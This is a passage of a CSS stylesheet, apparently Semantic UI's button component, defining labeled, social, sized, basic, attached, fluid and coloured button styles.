  border-bottom-right-radius: 0px;
}

.ui.labeled.button:not([class*="left labeled"]) > .label {
  border-top-left-radius: 0px;
  border-bottom-left-radius: 0px;
}

/* Left Side */

.ui[class*="left labeled"].button > .button {
  border-top-left-radius: 0px;
  border-bottom-left-radius: 0px;
}

.ui[class*="left labeled"].button > .label {
  border-top-right-radius: 0px;
  border-bottom-right-radius: 0px;
}

/*-------------------
       Social
--------------------*/

/* Facebook */

.ui.facebook.button {
  background-color: #3B5998;
  color: #FFFFFF;
  text-shadow: none;
  background-image: none;
  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.facebook.button:hover {
  background-color: #304d8a;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.facebook.button:active {
  background-color: #2d4373;
  color: #FFFFFF;
  text-shadow: none;
}

/* Twitter */

.ui.twitter.button {
  background-color: #55ACEE;
  color: #FFFFFF;
  text-shadow: none;
  background-image: none;
  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.twitter.button:hover {
  background-color: #35a2f4;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.twitter.button:active {
  background-color: #2795e9;
  color: #FFFFFF;
  text-shadow: none;
}

/* Google Plus */

.ui.google.plus.button {
  background-color: #DD4B39;
  color: #FFFFFF;
  text-shadow: none;
  background-image: none;
  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.google.plus.button:hover {
  background-color: #e0321c;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.google.plus.button:active {
  background-color: #c23321;
  color: #FFFFFF;
  text-shadow: none;
}

/* Linked In */

.ui.linkedin.button {
  background-color: #1F88BE;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.linkedin.button:hover {
  background-color: #147baf;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.linkedin.button:active {
  background-color: #186992;
  color: #FFFFFF;
  text-shadow: none;
}

/* YouTube */

.ui.youtube.button {
  background-color: #CC181E;
  color: #FFFFFF;
  text-shadow: none;
  background-image: none;
  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.youtube.button:hover {
  background-color: #bd0d13;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.youtube.button:active {
  background-color: #9e1317;
  color: #FFFFFF;
  text-shadow: none;
}

/* Instagram */

.ui.instagram.button {
  background-color: #49769C;
  color: #FFFFFF;
  text-shadow: none;
  background-image: none;
  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.instagram.button:hover {
  background-color: #3d698e;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.instagram.button:active {
  background-color: #395c79;
  color: #FFFFFF;
  text-shadow: none;
}

/* Pinterest */

.ui.pinterest.button {
  background-color: #BD081C;
  color: #FFFFFF;
  text-shadow: none;
  background-image: none;
  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.pinterest.button:hover {
  background-color: #ac0013;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.pinterest.button:active {
  background-color: #8c0615;
  color: #FFFFFF;
  text-shadow: none;
}

/* VK */

.ui.vk.button {
  background-color: #4D7198;
  color: #FFFFFF;
  background-image: none;
  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.vk.button:hover {
  background-color: #41648a;
  color: #FFFFFF;
}

.ui.vk.button:active {
  background-color: #3c5876;
  color: #FFFFFF;
}

/*--------------
     Icon
---------------*/

.ui.button > .icon:not(.button) {
  height: 0.85714286em;
  opacity: 0.8;
  margin: 0em 0.42857143em 0em -0.21428571em;
  -webkit-transition: opacity 0.1s ease;
  transition: opacity 0.1s ease;
  vertical-align: '';
  color: '';
}

.ui.button:not(.icon) > .icon:not(.button):not(.dropdown) {
  margin: 0em 0.42857143em 0em -0.21428571em;
}

.ui.button:not(.icon) > .right.icon:not(.button):not(.dropdown) {
  margin: 0em -0.21428571em 0em 0.42857143em;
}

/*******************************
           Variations
*******************************/

/*-------------------
       Floated
--------------------*/

.ui[class*="left floated"].buttons,
.ui[class*="left floated"].button {
  float: left;
  margin-left: 0em;
  margin-right: 0.25em;
}

.ui[class*="right floated"].buttons,
.ui[class*="right floated"].button {
  float: right;
  margin-right: 0em;
  margin-left: 0.25em;
}

/*-------------------
       Compact
--------------------*/

.ui.compact.buttons .button,
.ui.compact.button {
  padding: 0.58928571em 1.125em 0.58928571em;
}

.ui.compact.icon.buttons .button,
.ui.compact.icon.button {
  padding: 0.58928571em 0.58928571em 0.58928571em;
}

.ui.compact.labeled.icon.buttons .button,
.ui.compact.labeled.icon.button {
  padding: 0.58928571em 3.69642857em 0.58928571em;
}

/*-------------------
        Sizes
--------------------*/

.ui.mini.buttons .button,
.ui.mini.buttons .or,
.ui.mini.button {
  font-size: 0.78571429rem;
}

.ui.tiny.buttons .button,
.ui.tiny.buttons .or,
.ui.tiny.button {
  font-size: 0.85714286rem;
}

.ui.small.buttons .button,
.ui.small.buttons .or,
.ui.small.button {
  font-size: 0.92857143rem;
}

.ui.buttons .button,
.ui.buttons .or,
.ui.button {
  font-size: 1rem;
}

.ui.large.buttons .button,
.ui.large.buttons .or,
.ui.large.button {
  font-size: 1.14285714rem;
}

.ui.big.buttons .button,
.ui.big.buttons .or,
.ui.big.button {
  font-size: 1.28571429rem;
}

.ui.huge.buttons .button,
.ui.huge.buttons .or,
.ui.huge.button {
  font-size: 1.42857143rem;
}

.ui.massive.buttons .button,
.ui.massive.buttons .or,
.ui.massive.button {
  font-size: 1.71428571rem;
}

/*--------------
    Icon Only
---------------*/

.ui.icon.buttons .button,
.ui.icon.button {
  padding: 0.78571429em 0.78571429em 0.78571429em;
}

.ui.icon.buttons .button > .icon,
.ui.icon.button > .icon {
  opacity: 0.9;
  margin: 0em;
  vertical-align: top;
}

/*-------------------
        Basic
--------------------*/

.ui.basic.buttons .button,
.ui.basic.button {
  background: transparent none !important;
  color: rgba(0, 0, 0, 0.6) !important;
  font-weight: normal;
  border-radius: 0.28571429rem;
  text-transform: none;
  text-shadow: none !important;
  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.15) inset;
}

.ui.basic.buttons {
  box-shadow: none;
  border: 1px solid rgba(34, 36, 38, 0.15);
  border-radius: 0.28571429rem;
}

.ui.basic.buttons .button {
  border-radius: 0em;
}

.ui.basic.buttons .button:hover,
.ui.basic.button:hover {
  background: #FFFFFF !important;
  color: rgba(0, 0, 0, 0.8) !important;
  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.35) inset, 0px 0px 0px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.basic.buttons .button:focus,
.ui.basic.button:focus {
  background: #FFFFFF !important;
  color: rgba(0, 0, 0, 0.8) !important;
  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.35) inset, 0px 0px 0px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.basic.buttons .button:active,
.ui.basic.button:active {
  background: #F8F8F8 !important;
  color: rgba(0, 0, 0, 0.9) !important;
  box-shadow: 0px 0px 0px 1px rgba(0, 0, 0, 0.15) inset, 0px 1px 4px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.basic.buttons .active.button,
.ui.basic.active.button {
  background: rgba(0, 0, 0, 0.05) !important;
  box-shadow: '' !important;
  color: rgba(0, 0, 0, 0.95);
  box-shadow: rgba(34, 36, 38, 0.35);
}

.ui.basic.buttons .active.button:hover,
.ui.basic.active.button:hover {
  background-color: rgba(0, 0, 0, 0.05);
}

/* Vertical */

.ui.basic.buttons .button:hover {
  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.35) inset, 0px 0px 0px 0px rgba(34, 36, 38, 0.15) inset inset;
}

.ui.basic.buttons .button:active {
  box-shadow: 0px 0px 0px 1px rgba(0, 0, 0, 0.15) inset, 0px 1px 4px 0px rgba(34, 36, 38, 0.15) inset inset;
}

.ui.basic.buttons .active.button {
  box-shadow: rgba(34, 36, 38, 0.35) inset;
}

/* Standard Basic Inverted */

.ui.basic.inverted.buttons .button,
.ui.basic.inverted.button {
  background-color: transparent !important;
  color: #F9FAFB !important;
  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;
}

.ui.basic.inverted.buttons .button:hover,
.ui.basic.inverted.button:hover {
  color: #FFFFFF !important;
  box-shadow: 0px 0px 0px 2px #ffffff inset !important;
}

.ui.basic.inverted.buttons .button:focus,
.ui.basic.inverted.button:focus {
  color: #FFFFFF !important;
  box-shadow: 0px 0px 0px 2px #ffffff inset !important;
}

.ui.basic.inverted.buttons .button:active,
.ui.basic.inverted.button:active {
  background-color: rgba(255, 255, 255, 0.08) !important;
  color: #FFFFFF !important;
  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.9) inset !important;
}

.ui.basic.inverted.buttons .active.button,
.ui.basic.inverted.active.button {
  background-color: rgba(255, 255, 255, 0.08);
  color: #FFFFFF;
  text-shadow: none;
  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.7) inset;
}

.ui.basic.inverted.buttons .active.button:hover,
.ui.basic.inverted.active.button:hover {
  background-color: rgba(255, 255, 255, 0.15);
  box-shadow: 0px 0px 0px 2px #ffffff inset !important;
}

/* Basic Group */

.ui.basic.buttons .button {
  border-left: 1px solid rgba(34, 36, 38, 0.15);
  box-shadow: none;
}

.ui.basic.vertical.buttons .button {
  border-left: none;
}

.ui.basic.vertical.buttons .button {
  border-left-width: 0px;
  border-top: 1px solid rgba(34, 36, 38, 0.15);
}

.ui.basic.vertical.buttons .button:first-child {
  border-top-width: 0px;
}

/*--------------
  Labeled Icon
---------------*/

.ui.labeled.icon.buttons .button,
.ui.labeled.icon.button {
  position: relative;
  padding-left: 4.07142857em !important;
  padding-right: 1.5em !important;
}

/* Left Labeled */

.ui.labeled.icon.buttons > .button > .icon,
.ui.labeled.icon.button > .icon {
  position: absolute;
  height: 100%;
  line-height: 1;
  border-radius: 0px;
  border-top-left-radius: inherit;
  border-bottom-left-radius: inherit;
  text-align: center;
  margin: 0em;
  width: 2.57142857em;
  background-color: rgba(0, 0, 0, 0.05);
  color: '';
  box-shadow: -1px 0px 0px 0px transparent inset;
}

/* Left Labeled */

.ui.labeled.icon.buttons > .button > .icon,
.ui.labeled.icon.button > .icon {
  top: 0em;
  left: 0em;
}

/* Right Labeled */

.ui[class*="right labeled"].icon.button {
  padding-right: 4.07142857em !important;
  padding-left: 1.5em !important;
}

.ui[class*="right labeled"].icon.button > .icon {
  left: auto;
  right: 0em;
  border-radius: 0px;
  border-top-right-radius: inherit;
  border-bottom-right-radius: inherit;
  box-shadow: 1px 0px 0px 0px transparent inset;
}

.ui.labeled.icon.buttons > .button > .icon:before,
.ui.labeled.icon.button > .icon:before,
.ui.labeled.icon.buttons > .button > .icon:after,
.ui.labeled.icon.button > .icon:after {
  display: block;
  position: absolute;
  width: 100%;
  top: 50%;
  text-align: center;
  -webkit-transform: translateY(-50%);
  -ms-transform: translateY(-50%);
  transform: translateY(-50%);
}

.ui.labeled.icon.buttons .button > .icon {
  border-radius: 0em;
}

.ui.labeled.icon.buttons .button:first-child > .icon {
  border-top-left-radius: 0.28571429rem;
  border-bottom-left-radius: 0.28571429rem;
}

.ui.labeled.icon.buttons .button:last-child > .icon {
  border-top-right-radius: 0.28571429rem;
  border-bottom-right-radius: 0.28571429rem;
}

.ui.vertical.labeled.icon.buttons .button:first-child > .icon {
  border-radius: 0em;
  border-top-left-radius: 0.28571429rem;
}

.ui.vertical.labeled.icon.buttons .button:last-child > .icon {
  border-radius: 0em;
  border-bottom-left-radius: 0.28571429rem;
}

/* Fluid Labeled */

.ui.fluid[class*="left labeled"].icon.button,
.ui.fluid[class*="right labeled"].icon.button {
  padding-left: 1.5em !important;
  padding-right: 1.5em !important;
}

/*--------------
     Toggle
---------------*/

/* Toggle (Modifies active state to give affordances) */

.ui.toggle.buttons .active.button,
.ui.buttons .button.toggle.active,
.ui.button.toggle.active {
  background-color: #21BA45 !important;
  box-shadow: none !important;
  text-shadow: none;
  color: #FFFFFF !important;
}

.ui.button.toggle.active:hover {
  background-color: #16ab39 !important;
  text-shadow: none;
  color: #FFFFFF !important;
}

/*--------------
    Circular
---------------*/

.ui.circular.button {
  border-radius: 10em;
}

.ui.circular.button > .icon {
  width: 1em;
  vertical-align: baseline;
}

/*-------------------
      Or Buttons
--------------------*/

.ui.buttons .or {
  position: relative;
  width: 0.3em;
  height: 2.57142857em;
  z-index: 3;
}

.ui.buttons .or:before {
  position: absolute;
  text-align: center;
  border-radius: 500rem;
  content: 'or';
  top: 50%;
  left: 50%;
  background-color: #FFFFFF;
  text-shadow: none;
  margin-top: -0.89285714em;
  margin-left: -0.89285714em;
  width: 1.78571429em;
  height: 1.78571429em;
  line-height: 1.78571429em;
  color: rgba(0, 0, 0, 0.4);
  font-style: normal;
  font-weight: bold;
  box-shadow: 0px 0px 0px 1px transparent inset;
}

.ui.buttons .or[data-text]:before {
  content: attr(data-text);
}

/* Fluid Or */

.ui.fluid.buttons .or {
  width: 0em !important;
}

.ui.fluid.buttons .or:after {
  display: none;
}

/*-------------------
       Attached
--------------------*/

/* Singular */

.ui.attached.button {
  position: relative;
  display: block;
  margin: 0em;
  border-radius: 0em;
  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.15) !important;
}

/* Top / Bottom */

.ui.attached.top.button {
  border-radius: 0.28571429rem 0.28571429rem 0em 0em;
}

.ui.attached.bottom.button {
  border-radius: 0em 0em 0.28571429rem 0.28571429rem;
}

/* Left / Right */

.ui.left.attached.button {
  display: inline-block;
  border-left: none;
  text-align: right;
  padding-right: 0.75em;
  border-radius: 0.28571429rem 0em 0em 0.28571429rem;
}

.ui.right.attached.button {
  display: inline-block;
  text-align: left;
  padding-left: 0.75em;
  border-radius: 0em 0.28571429rem 0.28571429rem 0em;
}

/* Plural */

.ui.attached.buttons {
  position: relative;
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  border-radius: 0em;
  width: auto !important;
  z-index: 2;
  margin-left: -1px;
  margin-right: -1px;
}

.ui.attached.buttons .button {
  margin: 0em;
}

.ui.attached.buttons .button:first-child {
  border-radius: 0em;
}

.ui.attached.buttons .button:last-child {
  border-radius: 0em;
}

/* Top / Bottom */

.ui[class*="top attached"].buttons {
  margin-bottom: -1px;
  border-radius: 0.28571429rem 0.28571429rem 0em 0em;
}

.ui[class*="top attached"].buttons .button:first-child {
  border-radius: 0.28571429rem 0em 0em 0em;
}

.ui[class*="top attached"].buttons .button:last-child {
  border-radius: 0em 0.28571429rem 0em 0em;
}

.ui[class*="bottom attached"].buttons {
  margin-top: -1px;
  border-radius: 0em 0em 0.28571429rem 0.28571429rem;
}

.ui[class*="bottom attached"].buttons .button:first-child {
  border-radius: 0em 0em 0em 0.28571429rem;
}

.ui[class*="bottom attached"].buttons .button:last-child {
  border-radius: 0em 0em 0.28571429rem 0em;
}

/* Left / Right */

.ui[class*="left attached"].buttons {
  display: -webkit-inline-box;
  display: -webkit-inline-flex;
  display: -ms-inline-flexbox;
  display: inline-flex;
  margin-right: 0em;
  margin-left: -1px;
  border-radius: 0em 0.28571429rem 0.28571429rem 0em;
}

.ui[class*="left attached"].buttons .button:first-child {
  margin-left: -1px;
  border-radius: 0em 0.28571429rem 0em 0em;
}

.ui[class*="left attached"].buttons .button:last-child {
  margin-left: -1px;
  border-radius: 0em 0em 0.28571429rem 0em;
}

.ui[class*="right attached"].buttons {
  display: -webkit-inline-box;
  display: -webkit-inline-flex;
  display: -ms-inline-flexbox;
  display: inline-flex;
  margin-left: 0em;
  margin-right: -1px;
  border-radius: 0.28571429rem 0em 0em 0.28571429rem;
}

.ui[class*="right attached"].buttons .button:first-child {
  margin-left: -1px;
  border-radius: 0.28571429rem 0em 0em 0em;
}

.ui[class*="right attached"].buttons .button:last-child {
  margin-left: -1px;
  border-radius: 0em 0em 0em 0.28571429rem;
}

/*-------------------
        Fluid
--------------------*/

.ui.fluid.buttons,
.ui.fluid.button {
  width: 100%;
}

.ui.fluid.button {
  display: block;
}

.ui.two.buttons {
  width: 100%;
}

.ui.two.buttons > .button {
  width: 50%;
}

.ui.three.buttons {
  width: 100%;
}

.ui.three.buttons > .button {
  width: 33.333%;
}

.ui.four.buttons {
  width: 100%;
}

.ui.four.buttons > .button {
  width: 25%;
}

.ui.five.buttons {
  width: 100%;
}

.ui.five.buttons > .button {
  width: 20%;
}

.ui.six.buttons {
  width: 100%;
}

.ui.six.buttons > .button {
  width: 16.666%;
}

.ui.seven.buttons {
  width: 100%;
}

.ui.seven.buttons > .button {
  width: 14.285%;
}

.ui.eight.buttons {
  width: 100%;
}

.ui.eight.buttons > .button {
  width: 12.500%;
}

.ui.nine.buttons {
  width: 100%;
}

.ui.nine.buttons > .button {
  width: 11.11%;
}

.ui.ten.buttons {
  width: 100%;
}

.ui.ten.buttons > .button {
  width: 10%;
}

.ui.eleven.buttons {
  width: 100%;
}

.ui.eleven.buttons > .button {
  width: 9.09%;
}

.ui.twelve.buttons {
  width: 100%;
}

.ui.twelve.buttons > .button {
  width: 8.3333%;
}

/* Fluid Vertical Buttons */

.ui.fluid.vertical.buttons,
.ui.fluid.vertical.buttons > .button {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  width: auto;
}

.ui.two.vertical.buttons > .button {
  height: 50%;
}

.ui.three.vertical.buttons > .button {
  height: 33.333%;
}

.ui.four.vertical.buttons > .button {
  height: 25%;
}

.ui.five.vertical.buttons > .button {
  height: 20%;
}

.ui.six.vertical.buttons > .button {
  height: 16.666%;
}

.ui.seven.vertical.buttons > .button {
  height: 14.285%;
}

.ui.eight.vertical.buttons > .button {
  height: 12.500%;
}

.ui.nine.vertical.buttons > .button {
  height: 11.11%;
}

.ui.ten.vertical.buttons > .button {
  height: 10%;
}

.ui.eleven.vertical.buttons > .button {
  height: 9.09%;
}

.ui.twelve.vertical.buttons > .button {
  height: 8.3333%;
}

/*-------------------
       Colors
--------------------*/

/*--- Black ---*/

.ui.black.buttons .button,
.ui.black.button {
  background-color: #1B1C1D;
  color: #FFFFFF;
  text-shadow: none;
  background-image: none;
}

.ui.black.button {
  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.black.buttons .button:hover,
.ui.black.button:hover {
  background-color: #27292a;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.black.buttons .button:focus,
.ui.black.button:focus {
  background-color: #2f3032;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.black.buttons .button:active,
.ui.black.button:active {
  background-color: #343637;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.black.buttons .active.button,
.ui.black.buttons .active.button:active,
.ui.black.active.button,
.ui.black.button .active.button:active {
  background-color: #0f0f10;
  color: #FFFFFF;
  text-shadow: none;
}

/* Basic */

.ui.basic.black.buttons .button,
.ui.basic.black.button {
  box-shadow: 0px 0px 0px 1px #1B1C1D inset !important;
  color: #1B1C1D !important;
}

.ui.basic.black.buttons .button:hover,
.ui.basic.black.button:hover {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #27292a inset !important;
  color: #27292a !important;
}

.ui.basic.black.buttons .button:focus,
.ui.basic.black.button:focus {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #2f3032 inset !important;
  color: #27292a !important;
}

.ui.basic.black.buttons .active.button,
.ui.basic.black.active.button {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #0f0f10 inset !important;
  color: #343637 !important;
}

.ui.basic.black.buttons .button:active,
.ui.basic.black.button:active {
  box-shadow: 0px 0px 0px 1px #343637 inset !important;
  color: #343637 !important;
}

.ui.buttons:not(.vertical) > .basic.black.button:not(:first-child) {
  margin-left: -1px;
}

/* Inverted */

.ui.inverted.black.buttons .button,
.ui.inverted.black.button {
  background-color: transparent;
  box-shadow: 0px 0px 0px 2px #D4D4D5 inset !important;
  color: #FFFFFF;
}

.ui.inverted.black.buttons .button:hover,
.ui.inverted.black.button:hover,
.ui.inverted.black.buttons .button:focus,
.ui.inverted.black.button:focus,
.ui.inverted.black.buttons .button.active,
.ui.inverted.black.button.active,
.ui.inverted.black.buttons .button:active,
.ui.inverted.black.button:active {
  box-shadow: none !important;
  color: #FFFFFF;
}

.ui.inverted.black.buttons .button:hover,
.ui.inverted.black.button:hover {
  background-color: #000000;
}

.ui.inverted.black.buttons .button:focus,
.ui.inverted.black.button:focus {
  background-color: #000000;
}

.ui.inverted.black.buttons .active.button,
.ui.inverted.black.active.button {
  background-color: #000000;
}

.ui.inverted.black.buttons .button:active,
.ui.inverted.black.button:active {
  background-color: #000000;
}

/* Inverted Basic */

.ui.inverted.black.basic.buttons .button,
.ui.inverted.black.buttons .basic.button,
.ui.inverted.black.basic.button {
  background-color: transparent;
  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;
  color: #FFFFFF !important;
}

.ui.inverted.black.basic.buttons .button:hover,
.ui.inverted.black.buttons .basic.button:hover,
.ui.inverted.black.basic.button:hover {
  box-shadow: 0px 0px 0px 2px #000000 inset !important;
  color: #FFFFFF !important;
}

.ui.inverted.black.basic.buttons .button:focus,
.ui.inverted.black.basic.buttons .button:focus,
.ui.inverted.black.basic.button:focus {
  box-shadow: 0px 0px 0px 2px #000000 inset !important;
  color: #545454 !important;
}

.ui.inverted.black.basic.buttons .active.button,
.ui.inverted.black.buttons .basic.active.button,
.ui.inverted.black.basic.active.button {
  box-shadow: 0px 0px 0px 2px #000000 inset !important;
  color: #FFFFFF !important;
}

.ui.inverted.black.basic.buttons .button:active,
.ui.inverted.black.buttons .basic.button:active,
.ui.inverted.black.basic.button:active {
  box-shadow: 0px 0px 0px 2px #000000 inset !important;
  color: #FFFFFF !important;
}

/*--- Grey ---*/

.ui.grey.buttons .button,
.ui.grey.button {
  background-color: #767676;
  color: #FFFFFF;
  text-shadow: none;
  background-image: none;
}

.ui.grey.button {
  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.grey.buttons .button:hover,
.ui.grey.button:hover {
  background-color: #838383;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.grey.buttons .button:focus,
.ui.grey.button:focus {
  background-color: #8a8a8a;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.grey.buttons .button:active,
.ui.grey.button:active {
  background-color: #909090;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.grey.buttons .active.button,
.ui.grey.buttons .active.button:active,
.ui.grey.active.button,
.ui.grey.button .active.button:active {
  background-color: #696969;
  color: #FFFFFF;
  text-shadow: none;
}

/* Basic */

.ui.basic.grey.buttons .button,
.ui.basic.grey.button {
  box-shadow: 0px 0px 0px 1px #767676 inset !important;
  color: #767676 !important;
}

.ui.basic.grey.buttons .button:hover,
.ui.basic.grey.button:hover {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #838383 inset !important;
  color: #838383 !important;
}

.ui.basic.grey.buttons .button:focus,
.ui.basic.grey.button:focus {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #8a8a8a inset !important;
  color: #838383 !important;
}

.ui.basic.grey.buttons .active.button,
.ui.basic.grey.active.button {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #696969 inset !important;
  color: #909090 !important;
}

.ui.basic.grey.buttons .button:active,
.ui.basic.grey.button:active {
  box-shadow: 0px 0px 0px 1px #909090 inset !important;
  color: #909090 !important;
}

.ui.buttons:not(.vertical) > .basic.grey.button:not(:first-child) {
  margin-left: -1px;
}

/* Inverted */

.ui.inverted.grey.buttons .button,
.ui.inverted.grey.button {
  background-color: transparent;
  box-shadow: 0px 0px 0px 2px #D4D4D5 inset !important;
  color: #FFFFFF;
}

.ui.inverted.grey.buttons .button:hover,
.ui.inverted.grey.button:hover,
.ui.inverted.grey.buttons .button:focus,
.ui.inverted.grey.button:focus,
.ui.inverted.grey.buttons .button.active,
.ui.inverted.grey.button.active,
.ui.inverted.grey.buttons .button:active,
.ui.inverted.grey.button:active {
  box-shadow: none !important;
  color: rgba(0, 0, 0, 0.6);
}

.ui.inverted.grey.buttons .button:hover,
.ui.inverted.grey.button:hover {
  background-color: #cfd0d2;
}

.ui.inverted.grey.buttons .button:focus,
.ui.inverted.grey.button:focus {
  background-color: #c7c9cb;
}

.ui.inverted.grey.buttons .active.button,
.ui.inverted.grey.active.button {
  background-color: #cfd0d2;
}

.ui.inverted.grey.buttons .button:active,
.ui.inverted.grey.button:active {
  background-color: #c2c4c5;
}

/* Inverted Basic */

.ui.inverted.grey.basic.buttons .button,
.ui.inverted.grey.buttons .basic.button,
.ui.inverted.grey.basic.button {
  background-color: transparent;
  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;
  color: #FFFFFF !important;
}

.ui.inverted.grey.basic.buttons .button:hover,
.ui.inverted.grey.buttons .basic.button:hover,
.ui.inverted.grey.basic.button:hover {
  box-shadow: 0px 0px 0px 2px #cfd0d2 inset !important;
  color: #FFFFFF !important;
}

.ui.inverted.grey.basic.buttons .button:focus,
.ui.inverted.grey.basic.buttons .button:focus,
.ui.inverted.grey.basic.button:focus {
  box-shadow: 0px 0px 0px 2px #c7c9cb inset !important;
  color: #DCDDDE !important;
}

.ui.inverted.grey.basic.buttons .active.button,
.ui.inverted.grey.buttons .basic.active.button,
.ui.inverted.grey.basic.active.button {
  box-shadow: 0px 0px 0px 2px #cfd0d2 inset !important;
  color: #FFFFFF !important;
}

.ui.inverted.grey.basic.buttons .button:active,
.ui.inverted.grey.buttons .basic.button:active,
.ui.inverted.grey.basic.button:active {
  box-shadow: 0px 0px 0px 2px #c2c4c5 inset !important;
  color: #FFFFFF !important;
}

/*--- Brown ---*/

.ui.brown.buttons .button,
.ui.brown.button {
  background-color: #A5673F;
  color: #FFFFFF;
  text-shadow: none;
  background-image: none;
}

.ui.brown.button {
  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;
}

.ui.brown.buttons .button:hover,
.ui.brown.button:hover {
  background-color: #975b33;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.brown.buttons .button:focus,
.ui.brown.button:focus {
  background-color: #90532b;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.brown.buttons .button:active,
.ui.brown.button:active {
  background-color: #805031;
  color: #FFFFFF;
  text-shadow: none;
}

.ui.brown.buttons .active.button,
.ui.brown.buttons .active.button:active,
.ui.brown.active.button,
.ui.brown.button .active.button:active {
  background-color: #995a31;
  color: #FFFFFF;
  text-shadow: none;
}

/* Basic */

.ui.basic.brown.buttons .button,
.ui.basic.brown.button {
  box-shadow: 0px 0px 0px 1px #A5673F inset !important;
  color: #A5673F !important;
}

.ui.basic.brown.buttons .button:hover,
.ui.basic.brown.button:hover {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #975b33 inset !important;
  color: #975b33 !important;
}

.ui.basic.brown.buttons .button:focus,
.ui.basic.brown.button:focus {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #90532b inset !important;
  color: #975b33 !important;
}

.ui.basic.brown.buttons .active.button,
.ui.basic.brown.active.button {
  background: transparent !important;
  box-shadow: 0px 0px 0px 1px #995a31 inset !important;
  color: #805031 !important;
}

.ui.basic.brown.buttons .button:active,
.ui.basic.brown.button:active {
  box-shadow: 0px 0px 0px 1px #805031 inset !important;
  color: #805031 !important;
}

.ui.buttons:not(.vertical) > .basic.brown.button:not(:first-child) {
  margin-left: -1px;
}

/* Inverted */

.ui.inverted.brown.buttons .button,
.ui.inverted.brown.button {
  background-color: transparent;
  box-shadow: 0px 0px 0px 2px #D67C1C inset !important;
  color: #D67C1C;
}

.ui.inverted.brown.buttons .button:hover,
.ui.inverted.brown.button:hover,
.ui.inverted.brown.buttons .button:focus,
.ui.inverted.brown.button:focus,
.ui.inverted.brown.buttons .button.active,
.ui.inverted.brown.button.active,
.ui.inverted.brown.buttons .button:active,
.ui.inverted.brown.button:active {
  box-shadow: none !important;
  color: #FFFFFF;
}

.ui.inverted.brown.buttons .button:hover,
.ui.inverted.brown.button:hover {
  background-color: #c86f11;
}

.ui.inverted.brown.buttons .button:focus,
.ui.inverted.brown.button:focus {
  background-color: #c16808;
}

.ui.inverted.brown.buttons .active.button,
.ui.inverted.brown.active.button {
  background-color: #cc6f0d;
}

.ui.inverted.brown.buttons .button:active,
.ui.inverted.brown.button:active {
  background-color: #a96216;
}

/* Inverted Basic */

.ui.inverted.brown.basic.buttons .button,
.ui.inverted.brown.buttons .basic.button,
.ui.inverted.brown.basic.button {
  background-color: transparent;
  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;
  color: #FFFFFF !important;
}

.ui.inverted.brown.basic.buttons .button:hover,
.ui.inverted.brown.buttons .basic.button:hover,
.ui.inverted.brown.basic.button:hover {
  box-shadow: 0px 0px 0px 2px #c86f11 inset !important;
  color: #D67C1C !important;
}

.ui.inverted.brown.basic.buttons .button:focus,
.ui.inverted.brown.basic.buttons .button:focus,
.ui.inverted.brown.basic.button:focus {
  box-shadow: 0px 0px 0px 2px #c16808 inset !important;
  color: #D67C1C !important;
}

.ui.inverted.brown.basic.buttons .active.button,
.ui.inverted.brown.buttons .basic.active.button,
.ui.inverted.brown.basic.active.button {
  box-shadow: 0px 0px 0px 2px #cc6f0d inset !important;
  color: #D67C1C !important;
}

.ui.inverted.brown.basic.buttons .button:active,
.ui.inverted.brown.buttons .basic.button:active,
.ui.inverted.brown.basic.button:active {
  box-shadow: 0px 0px 0px 2px #a96216 inset !important;
  color: #D67C1C !important;
}

/*--- Blue ---*/

.ui.blue.buttons .button,
.ui.blue.button {
  background-color: #2185D0;
  color: #FFFFFF;
